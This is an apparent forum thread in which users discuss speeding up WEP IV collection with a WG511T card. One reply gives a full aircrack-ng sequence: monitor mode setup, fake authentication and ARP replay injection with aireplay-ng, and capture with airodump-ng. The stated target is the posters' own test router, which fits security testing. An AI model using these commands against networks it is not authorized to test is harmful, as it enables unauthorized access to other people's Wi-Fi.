Suggestions for speeding up IVs using WG511T

[TexRyker]

Hello,

I was hoping someone could tell me how to work on speeding up my ivs that are coming in. I am running the script on the tutorial forum. Currently my attack has been running about for 10 minutes and has only got 3000 ivs. I thought it should be more than this. Signal strenght is good. I did search and just saw it depends on where you are relative to the AP. I was hoping I could change a setting to boost things a bit. Or maybe this will be a 1 week crack.

Thank you in advance.
TexRyker

[dwjs1974]

while you are capping the Ivs open a new console window

try this worked well with my router

airmon-ng start wifi0 10
wlanconfig ath0 destroy
AP=(MAC of your test Router)
WIFI=(Mac of the WIFI card)

ifconfig ath1 up
iwconfig ath1 mode Monitor channel 10
aireplay-ng -1 0 -e "Networkname" -a $AP -h $WIFI ath1
aireplay-ng -3 -e "Networkname" -b $AP -a $AP -h $wifi ath1
airodump-ng -w whatever.cap ath1

This worked on the last release I havent been able to try this on the new release due to issues..

Hope this helps.

[TexRyker]

while you are capping the Ivs open a new console window

try this worked well with my router

airmon-ng start wifi0 10
wlanconfig ath0 destroy
AP=(MAC of your test Router)
WIFI=(Mac of the WIFI card)

ifconfig ath1 up
iwconfig ath1 mode Monitor channel 10
aireplay-ng -1 0 -e "Networkname" -a $AP -h $WIFI ath1
aireplay-ng -3 -e "Networkname" -b $AP -a $AP -h $wifi ath1
airodump-ng -w whatever.cap ath1

This worked on the last release I havent been able to try this on the new release due to issues..

Hope this helps.

Dumb question but from my experience is should look like this:

aireplay-ng -1 0 -e "TESTROUTER" -a 00:11:22:... -h 55:33:22:... ath1
aireplay-ng -3 -e "TESTROUTER" -b $AP -a 00:11:22:... -h 55:33:22:... ath1
airodump-ng -w whatever.cap ath1

Does that look right?

[dwjs1974]

yep that does look correct but

If you dont want to keep looking to type out the AP mac address every time

type AP=mac address
WIFI=mac address
this saves you looking up your AP or your WIFI mac address.

Dave